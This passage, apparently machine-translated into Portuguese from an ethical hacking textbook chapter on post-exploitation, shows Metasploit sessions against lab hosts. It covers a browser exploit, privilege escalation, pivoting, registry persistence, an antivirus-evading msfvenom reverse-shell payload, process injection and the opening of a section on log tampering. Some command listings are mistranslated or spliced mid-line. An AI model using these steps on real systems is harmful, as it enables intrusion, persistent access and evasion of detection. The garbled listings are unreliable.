Você verá algumas coisas aqui. Este exploit inicia um servidor. Isso significa que você precisa 
indicar em qual endereço IP o servidor deve estar escutando, bem como a porta. Por padrão, o 
servidor estará escutando em 0.0.0.0, o que significa todos os endereços IP no sistema. Você 
também pode especificar a porta. Escutar em portas com números menores que 1024 requer 
privilégios administrativos. Por padrão, o módulo escuta na porta 8080. Quando o servidor inicia, 
uma URL é gerada aleatoriamente, embora você possa fornecer uma nas opções, se preferir. 
Assim que o servidor inicia, o módulo fornece a URL.
Iniciar o exploit também cria um listener, esperado para manipular a conexão de retorno do 
sistema alvo. A conexão de retorno vem da carga útil que é entregue ao alvo quando ele faz a 
conexão, se a vulnerabilidade for explorada. Isso significa que você precisa obter a URL para seu 
alvo. Existem várias maneiras de fazer isso, incluindo enviar e-mail com a URL oculta, já que uma URL 
que inclui elementos como :8080 e uma sequência aleatória pode ser suspeita. Isso não quer dizer 
que você precisa usar a sequência aleatória ou a porta incomum. Você também pode criar um link 
em uma página da web que espera que seus alvos visitem regularmente. A URL pode ser carregada 
automaticamente colocando-a em um elemento de página como uma tag IMG. Um navegador que 
encontrar essa tag emitirá uma solicitação GET para a URL fornecida.
Depois que você faz sua vítima visitar a URL, o navegador dela faz uma solicitação que é manipulada 
pelo Metasploit. O módulo deve enviar o código de exploração para o navegador. Se a exploração for bem-
sucedida, ele deve disparar uma conexão de volta para o manipulador que a exploração iniciou. O que 
você receberá de volta dessa conexão é um shell no sistema. Como a exploração é contra um sistema 
MacOS (OSX), e o MacOS usa um sistema operacional semelhante ao Unix e
Pós-exploração 255
userland, o que você receberá de volta é um Bash shell onde você pode enviar comandos. Este exploit em 
particular não suporta um payload Meterpreter.
Obter acesso ao sistema é apenas uma parte do que um invasor faria, então é apenas uma 
parte do que você faria como um hacker ético. Obter acesso é apenas um começo.
Pós-exploração
Agora você tem uma posição no sistema. O que você pode fazer com isso depende do que você 
comprometeu. Você pode ter permissões limitadas se o serviço remoto que você comprometeu tiver 
permissões limitadas. Você só pode executar tarefas para as quais você tem permissão. Isso significa que 
você pode precisar escalar seus privilégios para um usuário com mais do que você tem. Obter permissões 
de root ou administrador é um objetivo comum para invasores, pois os ajuda a girar para outros sistemas 
para se mover lateralmente dentro do ambiente. Você também pode ter uma chance melhor de coletar 
senhas e outras informações críticas do sistema que você pode precisar para outras tarefas.
Você não só tem uma posição no sistema, mas esse sistema também lhe dá uma posição na rede. Você 
pode descobrir, especialmente se tiver comprometido um sistema que oferece serviços para o mundo 
externo, que o sistema está conectado a mais de uma rede. Isso significa que você pode usar o sistema 
comprometido como um gateway para essas outras redes. Esta é uma técnica chamada pivoting, onde 
você faz um pivot do sistema comprometido para dar uma olhada em outro conjunto de sistemas. Isso o 
levará mais para dentro da rede e potencialmente lhe dará informações ainda mais confidenciais ou 
acesso a sistemas mais críticos.
Os invasores também tentarão obter acesso persistente ao sistema. Isso pode significar uma série de 
atividades, desde a criação de usuários até a instalação de backdoors. Junto com o acesso persistente, o 
invasor desejará cobrir seus rastros. Isso pode significar ocultar dados em locais do sistema. Pode significar 
manipular logs. Também pode significar manipular binários do sistema para ajudar a ocultar sua existência.
Escalação de privilégios
Sua missão, caso você decida aceitá-la, é obter acesso de nível root. Houve um tempo em que os serviços 
eram executados como root em sistemas Unix/Linux ou como LocalSystem em sistemas Windows, que é 
uma conta com um nível muito alto de permissões. Depois de obter acesso de nível root, você deve 
conseguir obter acesso a todas as informações do sistema, bem como fazer alterações em serviços e 
manipular usuários. O que isso significa é que você precisa obter acesso ao sistema primeiro e, em seguida, 
precisará executar outro exploit para obter privilégios elevados. Podemos continuar a usar o Metasploit 
para isso, então vamos começar com um sistema comprometido com um shell Meterpreter. Se colocarmos 
o shell em segundo plano usando ofundo,podemos usar a sessão aberta como uma forma de interagir com 
o sistema.
Precisamos identificar um exploit local. Uma maneira de fazer isso é usar o script Python
windows-exploit-suggester.py.Este é um script que pode ser baixado do GitHub. Ele requer algumas 
coisas para ser executado além de um interpretador Python. Primeiro, está a saída de
256 Capítulo 7 - Hacking de sistema
systeminfo. O segundo é o banco de dados que contém as informações dos boletins de segurança da Microsoft 
(MSSB). Para obter o primeiro, vamos extraí-lo do nosso sistema Windows explorado. Podemos cair para um shell 
do Windows a partir do Meterpreter e executar systeminfo, redirecionando a saída para um arquivo, então 
podemos extrair esse arquivo de volta para o nosso sistema local. Você pode ver esse processo na listagem a 
seguir.
obtendo informações sobre o patch do sistema
meterpreter > concha
Processo 3 criado.
Canal 3 criado.
Microsoft Windows [Versão 6.1.7601] Copyright 
(c) 2009 Microsoft Corporation. Todos os direitos reservados.
C:\Arquivos de programas\elasticsearch-1.1.1>systeminfo > patches.txt 
systeminfo > patches.txt
C:\Arquivos de programas\elasticsearch-1.1.1>exit 
exit
meterpreter > baixar patches.txt
[*] Baixando: patches.txt -> patches.txt
[*] Baixado 2,21 KiB de 2,21 KiB (100,0%): patches.txt -> patches.txt [*] download : 
patches.txt -> patches.txt
Depois que tivermos as informações do patch, podemos prosseguir para o uso do windows-exploit-
suggester. Obteremos um banco de dados MSSB atualizado e, em seguida, executaremos o script com 
nossos dois arquivos, procurando por exploits locais. Você pode ver a execução do script na próxima 
listagem de código. O que obteremos é uma lista de exploits locais que podem ser executados em nosso 
sistema comprometido. Ele não fornece detalhes sobre os módulos do Metasploit, o que significa que ainda 
precisaremos fazer algumas pesquisas sobre isso. No entanto, ele fornece recursos se você quiser saber 
mais sobre as vulnerabilidades e o exploit.
obtendo sugestões de exploração local
root@quiche:~# ./windows-exploit-suggester.py--update
[*] iniciando winsploit versão 3.3...
[+] escrevendo para arquivo 2018-09-09-mssb.xls
[*] feito
root@quiche:~# ./windows-exploit-suggester.py -i patches.txt -d 2018-09-09-mssb.xls -l
[*] iniciando winsploit versão 3.3...
[*] arquivo de banco de dados detectado como xls ou xlsx com base na extensão
[*] tentando ler o arquivo de entrada systeminfo
[+] arquivo de entrada systeminfo lido com sucesso (ascii)
[*] consultando arquivo de banco de dados para vulnerabilidades potenciais
Pós-exploração 257
[*] comparando os 2 hotfixes com os 407 boletins potenciais com um banco de dados de 137 exploits conhecidos
[*] agora existem 407 vulnerabilidades restantes
[*] procurando apenas por exploits locais
[+] [E] exploitdb PoC, [M] módulo Metasploit, [*] boletim ausente
[+] versão do Windows identificada como 'Windows 2008 R2 SP1 64 bits'
[*]
[M] MS16-075: Atualização de segurança para Windows SMB Server (3164038) - Importante
[*]
[*]
https://github.com/foxglovesec/RottenPotato
https://github.com/Kevin-Robertson/Tater
https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: NTLM WebDAV local[*]
Reflexão Elevação de Privilégio
- - - recorte ---
[E] MS14-026: Vulnerabilidade no .NET Framework pode permitir elevação de privilégio (2958732) - Importante
[*]
[*]
[*] feito
http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Execução de comando remoto, PoC
Alguns dos exploits sugeridos não serão executados no Windows no Windows (WoW) 64. Este é um 
subsistema que permite que executáveis do Windows de 32 bits sejam executados em instalações do 
Windows de 64 bits. O exploit precisaria da capacidade de ser executado dentro deste subsistema e ainda 
ser capaz de explorar a vulnerabilidade. Como há uma camada adicional de software no Windows de 64 
bits, alguns exploits simplesmente não funcionarão. Usaremos a vulnerabilidade MS16-032. Precisamos 
identificar o módulo Metasploit associado a essa vulnerabilidade, o que significa que podemos apenas 
procurar pela vulnerabilidade da Microsoft, como você pode ver na listagem de código a seguir. A busca 
pela vulnerabilidade retorna um único módulo.
Procurando por exploração local
msf exploit(windows/local/ms15_051_client_copy_image) > pesquisar MS16-032
Módulos correspondentes
================
Nome
- - - -
Data de divulgação
- - - - - - - - - - - - - - -
2016-03-21
Classificação
- - - -
normal
Descrição
- - - - - - - - - - -
MS16-032Exploit/windows/local/ms16_032_secondary_logon_handle_privesc 
Escalonamento de privilégios do identificador de logon secundário
explorar(windows/local/ms15_051_client_copy_image) > usar explorar/windows/local/
ms16_032_secondary_logon_handle_privesc
Tenha em mente que neste ponto, temos uma sessão aberta para nosso sistema alvo. Para usar o 
exploit local, precisamos definir o número da sessão que temos aberta. Se você precisa saber qual número 
de sessão usar porque perdeu o controle, você pode simplesmente usar osessões
258 Capítulo 7 - Hacking de sistema
comando depois de colocar em segundo plano a sessão do Meterpreter em que estava. Este é um 
parâmetro que você precisará definir, bem como definir a carga útil e o host local e a porta necessários 
para o shell do Meterpreter reverso. Você pode ver a configuração de todas as variáveis necessárias e, em 
seguida, iniciar o exploit.
usando exploração local do metasploit
msf exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > definir SESSÃO 2
SESSÃO => 2
msf exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > definir LHOST 192.168.86.57
LHOST => 192.168.86.57
msf exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > definir LPORT 4445
LPORTO => 4445
exploração msf(windows/local/ms16_032_secondary_logon_handle_privesc) > exploração
[*] Iniciado manipulador TCP reverso em 192.168.86.57:4445
[!] Executando carga útil de 32 bits em ARCH de 64 bits, usando SYSWOW64 powershell
[*] Escrevendo arquivo de carga útil, C:\ManageEngine\DesktopCentral_Server\bin\ROayyKQ.txt...
[*] Compactando conteúdo do script...
[+] Tamanho comprimido: 3621
[*] Executando script de exploração...
Em alguns casos, não podemos usar o Metasploit. Precisamos usar algumas ferramentas externas. Isso pode 
significar compilar um programa de exploração. Na próxima listagem de código, você verá o comprometimento 
de um sistema Linux usando uma vulnerabilidade em um daemon de compilador C distribuído. Isso usa um 
módulo Metasploit para executar a exploração inicial. A escalada de privilégios requer que um programa C seja 
compilado para que ele seja executado no sistema de destino. Como não podemos garantir que haja um 
compilador C, o programa é compilado no sistema de ataque. Nosso alvo é de 32 bits, enquanto nosso sistema de 
ataque é de 64 bits. Isso significa que precisamos ter um conjunto especial de bibliotecas para que possamos 
compilar de uma arquitetura de destino para outra. Assim que tivermos a saída, no entanto, podemos colocá-la e 
um script de shell simples no diretório, onde estará disponível em um servidor web. Nesta listagem, você verá a 
exploração do sistema de destino e, em seguida, a execução da escalada de privilégios.
escalonamento de privilégios linux
msf > usar exploit/unix/misc/distcc_exec
exploração msf (unix/misc/distcc_exec) > definir RHOST 192.168.86.66 
RHOST => 192.168.86.66
msf exploit(unix/misc/distcc_exec) > exploração
[*] Iniciado manipulador duplo TCP reverso em 192.168.86.57:4444 [*] 
Aceita a primeira conexão de cliente...
[*] Aceitou a segunda conexão do cliente...
Pós-exploração 259
[*] Comando: echo 9LVs5a2CaAEk29pj; [*] 
Escrevendo no soquete A
[*] Escrevendo no soquete B [*] 
Lendo dos soquetes... [*] Lendo do 
soquete B [*] B: 
"9LVs5a2CaAEk29pj\r\n" [*] 
Correspondendo...
[*] A é entrada...
[*] Sessão de shell de comando 1 aberta (192.168.86.57:4444 -> 192.168.86.66:47936) em 
2018-09-09 18:28:22 -0600
Uau!
demônio
cd /tmp
ps auxww | grep udev
raiz
- - daemon
2663 0,0 0,1 2216 700 ? SO sistema em questão é um sistema Windows e 
tem duas interfaces. Uma está na rede 192.168.86.0, que é a interface na qual o exploit entrou. A outra 
interface, chamada Interface 19 na listagem, está na rede 172.30.42.0. Esta é a rede que queremos atingir, 
mas não podemos simplesmente carregar um monte de ferramentas de ataque para o sistema 
comprometido. Em vez disso, precisamos ser capazes de passar o tráfego do nosso sistema de ataque 
através do sistema comprometido e para a rede à qual ele está conectado.
Configuração de endereço IP
meterpreter > getuid
Nome de usuário do servidor: NT AUTHORITY\LOCAL 
SERVICE meterpreter > ipconfig
Interface 1
============
Nome
Hardware MAC: 00:00:00:00:00:00 
MTU : 4294967295
Endereço IPv4: 127.0.0.1 
Máscara de rede IPv4: 
255.0.0.0 Endereço IPv6: ::1
Máscara de rede IPv6: ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
: Interface de loopback de software 1
Interface 12
============
Nome
Hardware MAC: 00:00:00:00:00:00 
MTU : 1280
Endereço IPv6: fe80::5efe:c0a8:5621
Máscara de rede IPv6: ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
: Adaptador Microsoft ISATAP
Pós-exploração 261
Interface 13
============
Nome
Hardware MAC: 1e:25:07:dc:7c:6e 
MTU : 1500
Endereço IPv4: 192.168.86.33 
Máscara de rede IPv4: 255.255.255.0
Endereço IPv6: fe80::35b1:1874:3712:8b59 
Máscara de rede IPv6: ffff:ffff:ffff:ffff::
: Conexão de rede Intel(R) PRO/1000 MT
Interface 19
============
Nome
Hardware MAC: 42:39:bd:ec:24:40 
MTU : 1500
Endereço IPv4: 172.30.42.50 Máscara 
de rede IPv4: 255.255.255.0
Endereço IPv6: fe80::4b4:7b9a:b3b7:3742 
Máscara de rede IPv6: ffff:ffff:ffff:ffff::
: Conexão de rede Intel(R) PRO/1000 MT nº 2
Para adicionar a rota que precisamos para passar o tráfego para a sub-rede 172.30.42.0, 
precisamos executar um módulo post-exploit. O módulo que vamos executar é chamado autoroute, 
e ele cuidará de adicionar a rota para essa rede por meio da sessão que temos aberta. Na listagem a 
seguir, você pode ver a execução do módulo autoroute. Você verá a saída indicando que a rota foi 
adicionada como resultado da execução do módulo.
executando autoroute
meterpreter > executar post/multi/gerenciar/autoroute SUBNET=172.30.42.0 ACTION=ADD
[!] SESSION pode não ser compatível com este módulo. [*] 
Executando módulo contra VAGRANT-2008R2
[*] Adicionando uma rota para 172.30.42.0/255.255.255.0... [+] 
Rota adicionada à sub-rede 172.30.42.0/255.255.255.0.
Agora que a rota está pronta, queremos usá-la. Podemos colocar a sessão do Meterpreter em 
segundo plano neste ponto e executar qualquer módulo que escolhermos nessa rede. Por exemplo, 
não seria incomum executar uma varredura de porta nessa rede. No código a seguir, você pode ver 
a tabela de roteamento sendo verificada de fora do Meterpreter depois que a sessão é colocada em 
segundo plano (você pode colocar o Meterpreter em segundo plano usando o
fundocomando ou digitando Ctrl+Z). A tabela de roteamento mostra que temos uma rota para o
262 Capítulo 7 - Hacking de sistema
Rede 172.30.42.0 através da Sessão 1, que é a sessão Meterpreter que temos aberta. Abaixo 
disso, o módulo de varredura de porta é carregado para rodar contra essa rede.
msf exploit(windows/http/manageengine_connectionid_write) > rota imprimir
Tabela de roteamento ativo IPv4 
=========================
Sub-rede
- - - - - -
172.30.42.0
Máscara de rede
- - - - - - -
255.255.255.0
Porta de entrada
- - - - - - -
Sessão 1
[*] Atualmente não há rotas IPv6 definidas.
msf exploit(windows/http/manageengine_connectionid_write) >
msf exploit(windows/http/manageengine_connectionid_write) > usar auxiliar/scanner/
portscan/tcp
msf auxiliar(scanner/portscan/tcp) > definir RHOSTS 172.30.42.0/24 
RHOSTS => 172.30.42.0/24
msf auxiliar(scanner/portscan/tcp) > executar
Depois de ter uma ideia de quais outros sistemas estão na outra rede, você pode começar a 
procurar vulnerabilidades nesses sistemas. Pivotar é pegar um sistema comprometido e usá-lo 
para obter acesso a outros sistemas, ou seja, pivotar para esses sistemas. Depois de ter suas 
rotas de rede em vigor, você está em boa forma para realizar esse pivotamento para poder 
estender seu alcance na rede.
Persistência
Obter acesso é importante porque demonstra que você pode comprometer sistemas e obter acesso a 
informações confidenciais. Esta é uma boa maneira de mostrar à organização com a qual você está 
trabalhando onde alguns de seus problemas podem estar. No entanto, os invasores não querem ter que 
continuar explorando a mesma vulnerabilidade toda vez que desejam acessar o sistema. Para começar, é 
demorado. Segundo, se o invasor, mesmo que seja um falso invasor (ou seja, você), estiver explorando uma 
vulnerabilidade, ele não pode ter certeza de que a vulnerabilidade não será corrigida. Isso significa que eles 
podem não conseguir entrar mais tarde. Coletar informações provavelmente não é uma situação única. 
Claro, em um ambiente corporativo, os dados estão constantemente mudando. Não importa qual seja o 
objetivo do invasor, ele geralmente desejará manter o acesso aos sistemas comprometidos.
O processo de manutenção de acesso é chamado de persistência. O acesso ao sistema é persistente ao longo 
do tempo e, idealmente, em reinicializações do sistema. Não importa o que aconteça, idealmente,
Pós-exploração 263
o invasor ainda pode entrar no sistema quando quiser. Existem várias técnicas para isso. Se um sistema 
tiver acesso remoto, como Secure Shell (SSH) ou área de trabalho remota em sistemas Windows, o invasor 
pode simplesmente criar um novo usuário que tenha a capacidade de fazer login remotamente. Se o 
usuário comprometido alterar sua senha ou a conta de usuário for removida, o novo usuário estará 
disponível para o invasor.
Outra opção é instalar um software que alcance o sistema do invasor. Essa é geralmente a melhor 
abordagem, porque provavelmente há firewalls em vigor que bloquearão tentativas de conexão de 
entrada, mas conexões de saída são geralmente permitidas. Então, podemos instalar um pacote de shell 
reverso e ele se conectará ao nosso sistema se tivermos um manipulador esperando para ouvir. Na 
listagem a seguir, você pode ver começando de uma sessão do Meterpreter e instalando um programa 
para iniciar quando um usuário faz login. Esse mecanismo de persistência em particular usa o Registro para 
armazenar a carga útil. Uma chave Run em HKEY_CURRENT_USER no Registro é então carregada para 
chamar a carga útil.
persistência de registro do metasploit
meterpreter > getuid
Nome de usuário do servidor: NT AUTHORITY\LOCAL SERVICE 
meterpreter > background
[*] Sessão de fundo 1...
msf exploit(windows/http/manageengine_connectionid_write) > usar exploit/windows/local/
registry_persistence
msf exploit(windows/local/registry_persistence) > definir SESSÃO 1 SESSÃO 
=> 1
msf exploit(windows/local/registry_persistence) > exploração
[*] Gerando blob de carga útil.. [+] 
Carga útil gerada, 5968 bytes [*] 
Caminho raiz é HKCU
[*] Instalando blob de carga útil.
[+] Chave de registro criada HKCU\Software\hO2pqzTh
[+] Blob de carga útil instalado em HKCU\Software\hO2pqzTh\kASCvdW3 [*] 
Instalando chave de execução
Este processo usa o Registro para armazenar um blob executável sem controle sobre o que é 
armazenado lá e executado. Você também pode criar seu próprio executável para o qual também 
pode usar a técnica do Registro. Você só não poderá usar o módulo mostrado acima. Para criar seu 
próprio executável autônomo, você pode usar o programa msfvenom, que faz parte do Metasploit. 
Na listagem de código a seguir, você pode ver um exemplo de uma execução do msfvenom. Isso 
pega o payload windows/meterpreter/reverse_tcp, que envia de volta uma conexão para um shell 
Meterpreter para o endereço IP especificado.
264 Capítulo 7 - Hacking de sistema
usando msfvenom para criar carga útil autônoma
root@quiche:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.86.57 
LPORT=3445 -f exe -e x86/shikata_ga_nai -a x86 -i 3 -o elfbowling.exe
[-] Nenhuma plataforma foiselecionada, escolhendo 
Msf::Module::Platform::Windows da carga útil
Foram encontrados 1 codificadores compatíveis
Tentando codificar a carga útil com 3 iterações de x86/shikata_ga_nai x86/
shikata_ga_nai teve sucesso com tamanho 368 (iteração=0) x86/shikata_ga_nai 
teve sucesso com tamanho 395 (iteração=1) x86/shikata_ga_nai teve sucesso 
com tamanho 422 (iteração=2) x86/shikata_ga_nai escolhido com tamanho final 
422
Tamanho da carga útil: 422 bytes
Tamanho final do arquivo exe: 73802 bytes 
Salvo como: elfbowling.exe
root@quiche:~# ls -la elfbowling.exe
- rw-r--r-- 1 root root 73802 12 de set. 17:58 elfbowling.exe
Muito do que você vê nos parâmetros da linha de comando é bem direto. Estamos criando um .
exearquivo para um sistema Windows x86 de 32 bits. A carga útil fará uma conexão com 
192.168.86.57 na porta 3445. Para usar o Meterpreter no sistema de destino, você precisaria iniciar 
um manipulador. Como um retorno a alguns jogos bobos de algumas décadas atrás, eu o chamei de
elfbowling.exe.Talvez qualquer um que o visse não pensaria muito nisso. Além de agrupar a carga útil 
em um .exearquivo em um formato executável portátil adequado, o .exetambém é codificado. O 
motivo da codificação é escondê-lo de programas antivírus.
Existem outras maneiras de criar uma conexão persistente. Outra é usar o Metsvc. Este é o serviço 
Meterpreter. Ele cria um listener, por padrão na porta 31337, que pode ser conectado para obter um 
shell Meterpreter. Você notará que o Metasploit menciona que os scripts Meterpreter estão 
obsoletos. Em vez disso, devemos carregar módulos e usá-los. No entanto, no momento, o serviço 
Meterpreter funciona e pode ser usado para obter acesso, desde que você possa se conectar à porta 
especificada por meio de quaisquer firewalls que possam estar em vigor.
Criando serviço meterpreter no alvo
meterpreter > executar metsvc
[!] Os scripts Meterpreter estão obsoletos. Tente post/windows/manage/persistence_exe. [!] 
Exemplo: execute post/windows/manage/persistence_exe OPTION=value [...]
[*] Criando um serviço meterpreter na porta 31337
[*] Criando um diretório de instalação temporário C:\Windows\SERVIC~2\LOCALS~1\ 
AppData\Local\Temp\KrUjwJQb...
[*]
[*]
[*]
[*] Iniciando o serviço...
> > Carregando metsrv.x86.dll...
> > Carregando metsvc-server.exe...
> > Carregando metsvc.exe...
Pós-exploração 265
Conforme observado, o serviço Meterpreter espera que você possa se conectar de entrada. Além 
disso, o script do serviço Meterpreter está obsoleto e pode ser removido do Metasploit em breve. Em 
vez disso, podemos usar o módulo que o Metasploit nos indica. Na próxima listagem de código, você 
verá o uso desse módulo. Ele requer que você tenha um executável para carregar e instalar no 
sistema de destino. O que é fornecido aqui é a saída da criação de payload acima. Este foi o 
executável Meterpreter reverso criado a partir do msfvenom. Você verá que o Meterpreter carrega o 
payload para o sistema de destino e cria um executável de persistência. As entradas do Registro são 
então criadas para executar automaticamente o executável de persistência quando o usuário faz 
login. Você pode ver isso na referência ao HKCU, que é HKEY_CURRENT_USER, o local no Registro que 
tem tudo relacionado ao usuário conectado.
usando o módulo metasploit para persistência
meterpreter > executar post/windows/manage/persistence_exe REXEPATH=/root/elfbowling.exe
[*] Executando módulo contra VAGRANT-2008R2
[*] Lendo Payload do arquivo /root/elfbowling.exe
[+] Script persistente escrito em C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ 
default.exe
[*] Executando script C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\default.exe [+] 
Agente executado com PID 5672
[*] Instalando em execução automática como HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ 
qWQPRsRzw
[+] Instalado em execução automática como HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ 
qWQPRsRzw
[*] Arquivo RC do Meterpreter de limpeza: /root/.msf4/logs/persistence/
VAGRANT-2008R2_20180912.4749/VAGRANT-2008R2_20180912.4749.rc
Isso nos dá muitas maneiras de manter o acesso aos sistemas de destino após o ponto de 
entrada inicial. Você pode ter notado, no entanto, que esses mecanismos de persistência 
introduzem arquivos e entradas do Registro no sistema de destino. Essas ações e artefatos podem 
ser detectados, assumindo que haja mecanismos de detecção no endpoint ou que alguém esteja 
prestando atenção às atividades no endpoint. Isso é uma consideração. Conforme você investiga 
seus endpoints, pode notar se há detecção de malware ou outros tipos de software de detecção no 
alvo.
Cobrindo Trilhas
Sempre que você obtém acesso a um sistema como parte de um teste de penetração ou avaliação de segurança, 
você estará deixando pegadas. O ato de fazer login em um sistema deixa uma entrada de log para trás. Quaisquer 
arquivos ou outros artefatos que possam precisar ser deixados no sistema têm o potencial de serem localizados e 
sinalizados como maliciosos. Isso significa a possibilidade de ter suas ações investigadas e seu ponto de apoio 
removido. Você teria que começar tudo de novo contra um alvo que está colocando obstáculos adicionais para 
você superar. Isso significa que você precisa ficar bom em encobrir sua existência da melhor forma possível.
266 Capítulo 7 - Hacking de sistema
No entanto, há muitos aspectos de ocultar e cobrir rastros. Para começar, uma vez que você tenha acesso ao 
sistema, você provavelmente está criando logs. Os logs podem precisar ser ajustados. Você pode precisar criar 
arquivos. Por exemplo, você quer colocar uma carga útil no sistema de destino. Isso geralmente significa um 
arquivo no sistema de arquivos. Você precisa de uma boa maneira de ocultar qualquer arquivo que você colocar no 
sistema. Uma vez que você tenha um executável, você vai querer executá-lo. Isso significa que a tabela de 
processos terá evidências da execução do processo. Qualquer um que olhar para a tabela de processos verá isso, 
causando alguma investigação, mesmo que seja apenas o usuário bisbilhotando um pouco.
Às vezes, cobrir rastros pode causar um pouco de obscuridade. Você torna algo um pouco mais difícil 
de encontrar ou entender. É um pouco como tentar se esconder em um campo aberto. Você precisa fazer o 
seu melhor para se cobrir, mas alguém que esteja procurando vai te encontrar.
Rootkits
A tabela de processos é, francamente, o artefato mais difícil de abordar. O motivo é que a tabela de 
processos é armazenada no espaço do kernel. Para fazer qualquer coisa com a tabela de processos, você 
precisa ter a capacidade de ocultar algo que esteja no espaço do kernel. Com a maioria dos sistemas 
operacionais modernos, há um modelo de anel quando se trata de segurança e privilégios. O nível mais 
alto de permissões que você pode obter é o anel 0, o que significa que você está no espaço do kernel. O 
kernel precisa de controle completo do sistema porque ele interage com o hardware. Nenhum outro 
aspecto ou elemento do ambiente operacional interage com o hardware ou o número de componentes que 
o kernel precisa.
A interação com o kernel passa por interfaces de programação de aplicativos (APIs). A solicitação 
é feita ao kernel por meio da API, que atende à solicitação e retorna o resultado ao processo que 
emitiu a solicitação. O que tudo isso significa é que, para manipular qualquer coisa no espaço do 
kernel, como a tabela de processos, você precisa fazer uma solicitação ao kernel por meio de uma 
função de API existente ou precisa estar no espaço do kernel. Como a única maneira de manipular a 
tabela de processos de fora do kernel é criar e matar processos, você não pode realmente esconder 
a existência do processo de nenhum lugar além do kernel.
Frequentemente, os invasores manipulam o que os usuários podem ver usando uma coleção de software 
chamada rootkit. Um rootkit pode conter um módulo ou driver de modo kernel que filtrará os resultados da 
tabela de processos. Este rootkit precisaria saber quais sãoos nomes ou propriedades dos processos que vêm 
com o rootkit para que eles possam ser filtrados. Um rootkit também pode conter binários de substituição que 
filtrarão de forma semelhante os resultados da listagem de arquivos para que qualquer pessoa que use os 
binários do sistema não saiba que há arquivos no sistema de arquivos relacionados à infecção/comprometimento.
Infelizmente, rootkits não são algo que vem com o Metasploit ou outras ferramentas de ataque. 
Em vez disso, o Metasploit usa táticas como codificação de processo para escapar dos scanners de 
malware, tornando mais difícil para esses scanners identificarem o software que você está injetando. 
Além disso, se você tiver controle sobre o nome do executável que está executando, alterá-lo para 
algo que não seja suspeito pode ajudar a manter o processo protegido. Se você fosse, por exemplo, 
nomeá-lolsass.exe,qualquer um que olhasse veria isso e não pensaria muito nisso, porque é um 
processo comum visto em um sistema Windows.
Pós-exploração 267
Injeção de Processo
Como não queremos deixar nenhum processo por aí que possa ser rastreado até nós, podemos pensar em 
usar outro espaço de processo. Uma maneira de fazer isso é injetar código em um processo existente. A 
ideia da injeção de processo é pegar o código que o invasor quer executar e injetá-lo em um processo 
existente. Depois que o código é injetado no processo, o invasor precisa fazê-lo executar, o que pode ser 
feito iniciando um novo thread que usa o código injetado. Isso é feito em um sistema Windows obtendo o 
identificador do processo e, em seguida, usando o identificador para alocar memória no processo de 
destino. Um identificador, da perspectiva da API do Windows, é essencialmente um ponteiro para a entrada 
do processo na tabela de processos.
Uma vez que o invasor tenha o identificador e tenha o código injetado no espaço do processo, esse código pode 
ser executado. Isso significa que o código está sendo executado dentro do espaço do processo do processo alvo. O 
código está efetivamente escondido dentro desse novo processo. Por exemplo, na listagem a seguir, você pode ver 
um módulo Metasploit que injeta código em um processo que foi especificado como um parâmetro para o módulo. 
O processo selecionado é o processo postgres, o que significa que o código shell está sendo executado no espaço 
do processo do servidor de banco de dados. A carga útil que está sendo executada será vinculada a uma porta TCP 
cujo valor padrão é a porta 4444, já que nenhum outro valor foi especificado como um parâmetro.
módulo de injeção de processo
meterpreter > executar post/windows/manage/multi_meterpreter_inject PID=3940 
PAYLOAD=windows/shell_bind_tcp
[*] Executando módulo contra VAGRANT-2008R2
[*] Criando um stager de meterpreter reverso: LHOST=192.168.86.57 LPORT=4444 [+] 
Iniciando o Notepad.exe para abrigar a sessão do Meterpreter.
[+] Processo criado com pid 1296
[*] Injetando meterpreter no processo ID 1296
[*] Memória alocada no endereço 0x00170000, para o stager de 328 bytes 
[*] Escrevendo o stager na memória...
[+] Meterpreter injetado com sucesso no processo: 1296 
msf > connect 192.168.86.25 4444 [*] 
Conectado a 192.168.86.25:4444 Microsoft 
Windows [Versão 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Todos os direitos reservados.
C:\ManageEngine\DesktopCentral_Server\bin>
Após a conclusão da injeção do processo, você pode ver o Metasploit sendo usado, em uma 
sessão separada, para conectar ao sistema remoto, onde obtemos um shell de prompt de 
comando. Outra técnica que podemos usar, que é semelhante, é migrar nossa conexão inicial para 
outro processo. Você pode ver essa técnica na listagem a seguir. O módulo migrate será iniciado
268 Capítulo 7 - Hacking de sistema
um novo processo que incluirá o payload do Meterpreter ao qual estamos conectados. Você verá que 
começamos em um processo Java Server Pages (jsp). Assim que a migração for concluída, estaremos 
executando dentro do contexto de umbloco de notas.exeprocesso. Isso é feito injetando código no processo 
do bloco de notas.
migração de processos com meterpreter
meterpreter > executar post/windows/manage/migrate
[*] Executando módulo contra VAGRANT-2008R2 [*] 
Processo atual do servidor: NepqI.jsp (5624) [*] 
Gerando processo notepad.exe para migrar para [+] 
Migrando para 6012
[+] Migrado com sucesso para o processo 6012 
meterpreter >
O que alcançamos por meio do uso da migração de processos é, esperançosamente, evitar a detecção 
por soluções de proteção de endpoint. Qualquer ação que ocorra será feita a partir do espaço de processo 
de um processo existente e não suspeito, mesmo que os comportamentos possam ser suspeitos. Assim 
como com outras técnicas discutidas neste capítulo, a ideia importante é evitar ser detectado. Executar 
código malicioso em um processo que não ganhará muito em termos de notificação é uma boa maneira de 
manter o acesso sem ser detectado.
O Windows não é o único sistema operacional em que a injeção de processo pode 
ocorrer. Em sistemas Linux e MacOS, por exemplo, você pode sobrescrever o local 
esperado para bibliotecas dinâmicas usando variáveis de ambiente como 
LD_PRELOAD no Linux ou DYLD_INSERT_LIBRARIES no MacOS. Isso coloca o local das 
bibliotecas do invasor à frente do caminho do sistema, garantindo que elas sejam 
carregadas.
Manipulação de Log
As informações registradas podem ser uma proposta de acerto ou erro. Em alguns casos, você encontrará alvos 
que registram quase nada. O que eles registram não é mantido em nenhum outro lugar além do sistema. Isso 
significa que se alguém pensar em procurar, o único lugar onde conseguirá encontrar alguma informação é no 
sistema local. Algumas organizações planejam incidentes e garantem que não apenas tenham políticas de registro 
